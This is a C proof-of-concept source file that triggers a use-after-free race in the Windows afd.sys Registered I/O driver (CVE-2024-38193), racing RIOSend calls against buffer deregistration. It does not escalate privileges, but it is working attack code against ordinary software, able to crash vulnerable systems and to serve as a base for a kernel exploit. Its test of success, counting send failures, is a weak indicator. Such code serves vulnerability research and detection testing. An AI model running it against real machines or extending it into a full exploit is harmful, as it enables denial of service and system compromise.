/*
 * CVE-2024-38193 — afd.sys RIO Buffer Cache UAF Race Trigger PoC
 *
 * Description:
 *   Triggers the race condition between AfdRioGetAndCacheBuffer() and
 *   AfdRioDereferenceBuffer() in the afd.sys Registered I/O subsystem.
 *   Two threads operate concurrently: one issues RIOSend() requests that
 *   force cache lookups (AfdRioGetAndCacheBuffer), while the other
 *   deregisters buffers (AfdRioDereferenceBuffer). On pre-patch systems,
 *   the non-atomic RefCount==1 check in AfdRioDereferenceBuffer allows
 *   the buffer to be freed while AfdRioGetAndCacheBuffer still holds
 *   a stale pointer, resulting in a use-after-free.
 *
 *   This PoC does NOT exploit the UAF — it only demonstrates the race
 *   window exists. On vulnerable systems the race may cause a BSOD
 *   (KERNEL_MODE_HEAP_CORRUPTION or BAD_POOL_HEADER) as the freed
 *   RIOBuffer is accessed. On patched systems the deregistration uses
 *   an atomic CAS loop and the race cannot be won.
 *
 * Call chain:
 *   Thread A (send path):
 *     RIOSend() → afd!AfdRioValidateRequestBuffer
 *       → afd!AfdRioGetCachedBuffer
 *         → afd!AfdRioGetAndCacheBuffer   *** _InterlockedIncrement on freed pool ***
 *
 *   Thread B (deregister path):
 *     RIODeregisterBuffer() → afd!AfdRioDereferenceBuffer
 *       → afd!AfdRioCleanupBuffer          *** ExFreePool ***
 *
 * Build (MSVC x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2024_38193.c /link ws2_32.lib advapi32.lib version.lib kernel32.lib
 *
 * Usage:
 *   poc_cve_2024_38193.exe         (normal)
 *   poc_cve_2024_38193.exe /v      (verbose)
 *
 * Expected (pre-patch):  Race triggers BSOD or detectable corruption
 * Expected (post-patch): Deregistration is properly serialised, no crash
 *
 * WARNING: This PoC may BSOD vulnerable systems. Run in a VM only.
 *
 * Author: OnlyFm252
 * Date:   2026-07-25
 * CVE:    CVE-2024-38193
 *
 * DISCLAIMER: FOR DEFENSIVE RESEARCH AND BLUE TEAM DETECTION TESTING ONLY.
 */

/* ── poc_common.h configuration ── */
#define WIN32_LEAN_AND_MEAN   /* prevent windows.h from pulling in winsock.h */
#define POC_CVE     "CVE-2024-38193"
#define POC_BINARY  L"afd.sys"

static int g_verbose = 0;
#define POC_VERBOSE g_verbose

#include <winsock2.h>          /* must come before windows.h / poc_common.h */
#include <mswsock.h>
#include "poc_common.h"

#pragma comment(lib, "ws2_32.lib")

/* ══════════════════════════════════════════════════════════════════
 *  Globals
 * ══════════════════════════════════════════════════════════════════ */

#define NUM_BUFFERS     16
#define BUFFER_SIZE     4096
#define RACE_ITERATIONS 50000

static RIO_EXTENSION_FUNCTION_TABLE g_rio;
static SOCKET                       g_sock = INVALID_SOCKET;
static RIO_CQ                       g_cq   = RIO_INVALID_CQ;
static RIO_RQ                       g_rq   = RIO_INVALID_RQ;

static RIO_BUFFERID g_bufIds[NUM_BUFFERS];
static char        *g_bufs[NUM_BUFFERS];

static volatile LONG g_start_flag  = 0;   /* sync barrier */
static volatile LONG g_stop_flag   = 0;
static volatile LONG g_race_count  = 0;

/* ══════════════════════════════════════════════════════════════════
 *  RIO setup helpers
 * ══════════════════════════════════════════════════════════════════ */

static BOOL rio_init(void)
{
    WSADATA wsa;
    GUID    rioGuid = WSAID_MULTIPLE_RIO;
    DWORD   bytes   = 0;
    int     rc;

    rc = WSAStartup(MAKEWORD(2, 2), &wsa);
    if (rc != 0) {
        POC_WARN(L"WSAStartup failed: %d", rc);
        return FALSE;
    }

    g_sock = WSASocketW(AF_INET, SOCK_DGRAM, IPPROTO_UDP,
                        NULL, 0, WSA_FLAG_REGISTERED_IO);
    if (g_sock == INVALID_SOCKET) {
        POC_WARN(L"WSASocketW failed: %d", WSAGetLastError());
        return FALSE;
    }
    POC_OK(L"RIO socket created: 0x%llX", (unsigned long long)g_sock);

    /* Bind to loopback */
    {
        struct sockaddr_in sa;
        memset(&sa, 0, sizeof(sa));
        sa.sin_family      = AF_INET;
        sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        sa.sin_port        = 0;  /* ephemeral */
        if (bind(g_sock, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {
            POC_WARN(L"bind failed: %d", WSAGetLastError());
            return FALSE;
        }
    }
    POC_DETAIL(L"Bound to loopback (ephemeral port)");

    /* Get RIO function table */
    g_rio.cbSize = sizeof(g_rio);
    rc = WSAIoctl(g_sock, SIO_GET_MULTIPLE_EXTENSION_FUNCTION_POINTER,
                  &rioGuid, sizeof(rioGuid),
                  &g_rio, sizeof(g_rio), &bytes, NULL, NULL);
    if (rc == SOCKET_ERROR) {
        POC_WARN(L"WSAIoctl(SIO_GET_MULTIPLE_EXTENSION_FUNCTION_POINTER) failed: %d",
                 WSAGetLastError());
        return FALSE;
    }
    POC_OK(L"RIO function table retrieved (%lu bytes)", bytes);

    /* Create completion queue */
    g_cq = g_rio.RIOCreateCompletionQueue(256, NULL);
    if (g_cq == RIO_INVALID_CQ) {
        POC_WARN(L"RIOCreateCompletionQueue failed: %d", WSAGetLastError());
        return FALSE;
    }
    POC_DETAIL(L"Completion queue created");

    /* Create request queue */
    g_rq = g_rio.RIOCreateRequestQueue(g_sock,
                                        16, 1,   /* max recv, max recv bufs */
                                        16, 1,   /* max send, max send bufs */
                                        g_cq, g_cq, NULL);
    if (g_rq == RIO_INVALID_RQ) {
        POC_WARN(L"RIOCreateRequestQueue failed: %d", WSAGetLastError());
        return FALSE;
    }
    POC_OK(L"Request queue created");

    return TRUE;
}

static BOOL rio_register_buffers(void)
{
    int i;
    for (i = 0; i < NUM_BUFFERS; i++) {
        g_bufs[i] = (char *)VirtualAlloc(NULL, BUFFER_SIZE,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_READWRITE);
        if (!g_bufs[i]) {
            POC_WARN(L"VirtualAlloc failed for buffer %d", i);
            return FALSE;
        }
        memset(g_bufs[i], 'A' + (i % 26), BUFFER_SIZE);

        g_bufIds[i] = g_rio.RIORegisterBuffer(g_bufs[i], BUFFER_SIZE);
        if (g_bufIds[i] == RIO_INVALID_BUFFERID) {
            POC_WARN(L"RIORegisterBuffer failed for buffer %d: %d",
                     i, WSAGetLastError());
            return FALSE;
        }
        POC_DETAIL(L"Registered buffer %d → ID %llu", i, (unsigned long long)g_bufIds[i]);
    }
    POC_OK(L"Registered %d RIO buffers (%d bytes each)", NUM_BUFFERS, BUFFER_SIZE);
    return TRUE;
}

/* ══════════════════════════════════════════════════════════════════
 *  Race threads
 * ══════════════════════════════════════════════════════════════════ */

/*
 * Thread A: Continuously issue RIOSend() to force AfdRioGetAndCacheBuffer
 * lookups on the buffer IDs. Uses loopback destination.
 */
static DWORD WINAPI send_thread(LPVOID param)
{
    struct sockaddr_in dest;
    RIO_BUF            rioBuf;
    int                i;

    (void)param;

    memset(&dest, 0, sizeof(dest));
    dest.sin_family      = AF_INET;
    dest.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    dest.sin_port        = htons(9999);  /* doesn't matter, UDP */

    /* Wait for start signal */
    while (!g_start_flag)
        YieldProcessor();

    while (!g_stop_flag) {
        for (i = 0; i < NUM_BUFFERS && !g_stop_flag; i++) {
            rioBuf.BufferId = g_bufIds[i];
            rioBuf.Offset   = 0;
            rioBuf.Length    = 64;

            /* This call forces AfdRioGetCachedBuffer → AfdRioGetAndCacheBuffer
             * which increments RefCount and stores BufferPtr in cache.
             * If buffer was just freed by the deregister thread, we hit the UAF. */
            if (!g_rio.RIOSend(g_rq, &rioBuf, 1, 0, NULL)) {
                /* Expected when buffer has been deregistered */
                InterlockedIncrement(&g_race_count);
            }
        }

        /* Drain completion queue to avoid stalls */
        {
            RIORESULT results[64];
            g_rio.RIODequeueCompletion(g_cq, results, 64);
        }
    }

    return 0;
}

/*
 * Thread B: Rapidly deregister and re-register buffers to trigger
 * AfdRioDereferenceBuffer while Thread A is in AfdRioGetAndCacheBuffer.
 */
static DWORD WINAPI deregister_thread(LPVOID param)
{
    LONG iterations = 0;
    int  i;

    (void)param;

    /* Wait for start signal */
    while (!g_start_flag)
        YieldProcessor();

    while (iterations < RACE_ITERATIONS && !g_stop_flag) {
        for (i = 0; i < NUM_BUFFERS && !g_stop_flag; i++) {
            /* Deregister — on vulnerable systems this frees the RIOBuffer
             * while Thread A may still be referencing it */
            g_rio.RIODeregisterBuffer(g_bufIds[i]);

            /* Immediately re-register to keep IDs valid for next round.
             * The re-registration allocates a NEW RIOBuffer at the same
             * slot, but the cache in Thread A may still point to the
             * OLD (freed) one — that's the UAF. */
            g_bufIds[i] = g_rio.RIORegisterBuffer(g_bufs[i], BUFFER_SIZE);
            if (g_bufIds[i] == RIO_INVALID_BUFFERID) {
                /* This is expected on patched systems or if we've
                 * triggered enough chaos */
                POC_DETAIL(L"Re-register failed for slot %d (err %d)",
                           i, WSAGetLastError());
            }
        }
        iterations++;
    }

    InterlockedExchange(&g_stop_flag, 1);
    return 0;
}

/* ══════════════════════════════════════════════════════════════════
 *  Cleanup
 * ══════════════════════════════════════════════════════════════════ */

static void rio_cleanup(void)
{
    int i;

    /* Best-effort deregister remaining buffers */
    for (i = 0; i < NUM_BUFFERS; i++) {
        if (g_bufIds[i] != RIO_INVALID_BUFFERID) {
            g_rio.RIODeregisterBuffer(g_bufIds[i]);
            g_bufIds[i] = RIO_INVALID_BUFFERID;
        }
        if (g_bufs[i]) {
            VirtualFree(g_bufs[i], 0, MEM_RELEASE);
            g_bufs[i] = NULL;
        }
    }

    if (g_rq != RIO_INVALID_RQ) {
        /* No explicit RQ close — destroyed with socket */
    }
    if (g_cq != RIO_INVALID_CQ) {
        g_rio.RIOCloseCompletionQueue(g_cq);
        g_cq = RIO_INVALID_CQ;
    }
    if (g_sock != INVALID_SOCKET) {
        closesocket(g_sock);
        g_sock = INVALID_SOCKET;
    }

    WSACleanup();
}

/* ══════════════════════════════════════════════════════════════════
 *  Main
 * ══════════════════════════════════════════════════════════════════ */

int wmain(int argc, wchar_t *argv[])
{
    HANDLE hSend, hDeregister;
    int    result = -1;  /* inconclusive by default */
    int    i;

    g_verbose = poc_parse_verbose(argc, argv);

    /* Unbuffer stdout so output appears immediately */
    setvbuf(stdout, NULL, _IONBF, 0);

    for (i = 0; i < NUM_BUFFERS; i++) {
        g_bufIds[i] = RIO_INVALID_BUFFERID;
        g_bufs[i]   = NULL;
    }

    poc_banner(L"afd.sys RIO Buffer Cache UAF Race");

    /* Pre-flight — skip binary version (afd.sys can hang GetFileVersionInfo
     * on some builds because the driver file is locked by the kernel) */
    wprintf(L"\n--- Pre-flight checks ---\n");
    {
        DWORD osMajor, osMinor, osBuild;
        poc_get_os_build(&osMajor, &osMinor, &osBuild);
        wprintf(L"    [*] OS: Windows %lu.%lu build %lu\n",
                osMajor, osMinor, osBuild);
    }
    {
        int svc = poc_check_service(L"Afd");
        wprintf(L"    [*] Service 'Afd': %s\n",
                svc == 1 ? L"RUNNING" :
                svc == 0 ? L"STOPPED / NOT FOUND" : L"ERROR");
    }
    wprintf(L"--- End pre-flight ---\n\n");

    /* ── Step 1: Initialise Winsock + RIO ── */
    POC_STEP("Initialise Winsock and RIO extension");

    if (!rio_init()) {
        POC_WARN(L"RIO initialisation failed");
        goto cleanup;
    }

    /* ── Step 2: Register buffers ── */
    POC_STEP("Register RIO buffers");

    if (!rio_register_buffers()) {
        POC_WARN(L"Buffer registration failed");
        goto cleanup;
    }

    /* ── Step 3: Launch race threads ── */
    POC_STEP("Launch race threads");

    POC_INFO(L"Send thread:       continuous RIOSend (forces AfdRioGetAndCacheBuffer)");
    POC_INFO(L"Deregister thread: %d iterations of deregister/re-register cycle",
             RACE_ITERATIONS);
    POC_WARN(L"On VULNERABLE systems this may cause BSOD!");

    hSend = CreateThread(NULL, 0, send_thread, NULL, 0, NULL);
    hDeregister = CreateThread(NULL, 0, deregister_thread, NULL, 0, NULL);

    if (!hSend || !hDeregister) {
        POC_WARN(L"CreateThread failed: %lu", GetLastError());
        goto cleanup;
    }

    /* Fire! */
    InterlockedExchange(&g_start_flag, 1);

    /* ── Step 4: Wait for race to complete ── */
    POC_STEP("Running race (50000 iterations)...");

    WaitForSingleObject(hDeregister, 30000);  /* 30s timeout */
    InterlockedExchange(&g_stop_flag, 1);
    WaitForSingleObject(hSend, 5000);

    CloseHandle(hSend);
    CloseHandle(hDeregister);

    /* ── Step 5: Evaluate results ── */
    POC_STEP("Evaluate results");

    POC_INFO(L"Race iterations completed: %ld", (long)RACE_ITERATIONS);
    POC_INFO(L"Send failures (race indicators): %ld", (long)g_race_count);

    if (g_race_count > 0) {
        POC_OK(L"Race window detected — %ld send failures during deregister",
               (long)g_race_count);
        POC_INFO(L"On pre-patch afd.sys, these failures indicate the");
        POC_INFO(L"AfdRioGetAndCacheBuffer / AfdRioDereferenceBuffer");
        POC_INFO(L"TOCTOU window was hit. If no BSOD occurred, the");
        POC_INFO(L"freed pool was likely reclaimed before access.");
        result = 1;  /* likely vulnerable */
    } else {
        POC_OK(L"No race indicators detected");
        POC_INFO(L"Deregister/re-register cycle completed without");
        POC_INFO(L"triggering send failures — CAS fix is effective.");
        result = 0;  /* patched */
    }

cleanup:
    rio_cleanup();
    poc_results(result);
    return result > 0 ? 1 : 0;
}